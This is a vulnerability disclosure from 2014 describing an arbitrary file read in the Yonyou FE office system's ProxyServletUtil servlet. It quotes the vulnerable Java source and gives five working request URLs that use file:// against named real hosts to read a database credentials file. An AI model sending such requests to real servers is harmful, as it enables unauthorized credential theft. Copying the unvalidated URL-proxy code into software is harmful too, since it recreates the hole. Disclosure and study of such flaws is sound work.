漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

用友FE协作办公系统某处协议处理接口未过滤file://协议,导致任意文件读取漏洞,通杀全版本

详细说明:

web.xml有如下配置:
<servlet>
<servlet-name>ProxyServletUtil</servlet-name>
<servlet-class>fe.witmanage.service.ProxyServletUtil</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ProxyServletUtil</servlet-name>
<url-pattern>/ProxyServletUtil</url-pattern>
</servlet-mapping>

0.PNG


ProxyServletUtil.java源码如下:
/* */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
/* */ {
/* 23 */ String urlString = request.getParameter("url");
/* 24 */ writeResponse(response, urlString);
/* */ }
/* */
/* */ private void writeResponse(HttpServletResponse response, String urlString) throws ServletException {
/* */ try {
/* 29 */ URL url = new URL(urlString);
/* 30 */ URLConnection urlConnection = url.openConnection();
/* 31 */ response.setContentType(urlConnection.getContentType());
/* 32 */ InputStream ins = urlConnection.getInputStream();
/* 33 */ OutputStream outs = response.getOutputStream();
/* 34 */ byte[] buffer = new byte[this.READ_BUFFER_SIZE];
/* 35 */ int bytesRead = 0;
/* 36 */ while ((bytesRead = ins.read(buffer, 0, this.READ_BUFFER_SIZE)) != -1) {
/* 37 */ outs.write(buffer, 0, bytesRead);
/* */ }
/* 39 */ System.out.println(outs);
/* 40 */ outs.flush();
/* 41 */ outs.close();
/* 42 */ ins.close();
/* */ } catch (Exception e) {
/* */ try {
/* 45 */ response.sendError(500, e.getMessage());
/* */ } catch (IOException ioe) {
/* 47 */ throw new ServletException(ioe);
/* */ }
/* */ }
/* */ }
/* */ }

1.png


url参数可控并且无任何过滤,导致任意文件,由于代码逻辑,进行文件读取时需要使用file://协议来利用

漏洞证明:

(1)http://oa.hzuf.com:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties 

1.png


(2)http://fsd2014.f3322.org:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

2.png


(3)http://183.129.249.246:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

3.png


(4)http://218.205.208.22:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

4.png


(5)http://120.196.116.3:7321/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

5.png

修复方案:

file://协议过滤

标签: none

评论已关闭